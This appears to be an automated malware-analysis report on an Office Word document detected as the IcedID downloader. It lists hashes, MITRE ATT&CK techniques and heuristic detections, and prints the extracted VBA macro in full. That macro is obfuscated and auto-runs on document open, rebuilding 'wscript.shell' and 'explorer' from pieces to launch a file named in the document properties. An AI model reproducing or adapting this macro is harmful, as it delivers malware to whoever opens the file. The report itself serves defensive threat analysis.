IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 d493a5b208f78d2c…

MALICIOUS

Office (OOXML)

34.4 KB Created: 2021-11-04 10:44:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-11-20
MD5: 954fd601c0741bd9d81088452e55f9ed SHA-1: 7d0abcc753b746cda394c521ee0f6f3bac3de88e SHA-256: d493a5b208f78d2c3215cc58d8b6bb05396dd598e9230ff80b80252ea2acfd1a
262 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample contains a VBA macro with a Document_Open auto-execution function. This macro utilizes the Shell() function to execute a command that downloads and runs a second-stage payload. The ClamAV detection name 'Doc.Downloader.IcedID' strongly suggests the IcedID family, which is known for its downloader capabilities.

Heuristics 7

  • ClamAV: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1082 bytes
SHA-256: d06f44ba7804179d4fc5633c7b9047117f2571348acce87cbc29f84023cafadb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function keywords()
With ActiveDocument
powLoveDoor = .BuiltInDocumentProperties("keywords").Value
End With
keywords = StrReverse(powLoveDoor)
ActiveDocument.Content.Find.Execute FindText:="_f", ReplaceWith:=tubeGirlYou, Replace:=wdReplaceAll
End Function
Public Function s(loadLoadLike, powDoorGirl, girlYouLike)
Set doorDowKarol = CreateObject("wscr" + powDoorGirl + ".shell")
doorDowKarol.exec "c:\windows\exp" & girlYouLike & " " & loadLoadLike
End Function
Sub document_open()
main.karoline ("")
End Sub

Attribute VB_Name = "main"
Public Sub karoline(powDoorTube)
Dim powLoveNext As String
powLoveNext = ""
girlTubeLike = ThisDocument.keywords
ActiveDocument.SaveAs2 FileName:=girlTubeLike, FileFormat:=wdFormatText
ThisDocument.s girlTubeLike, "ipt", "lorer"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: 180adb7afa6749cb0c1043e04a85350a6fe60cfdca6a4539fac7431c5d067ba1

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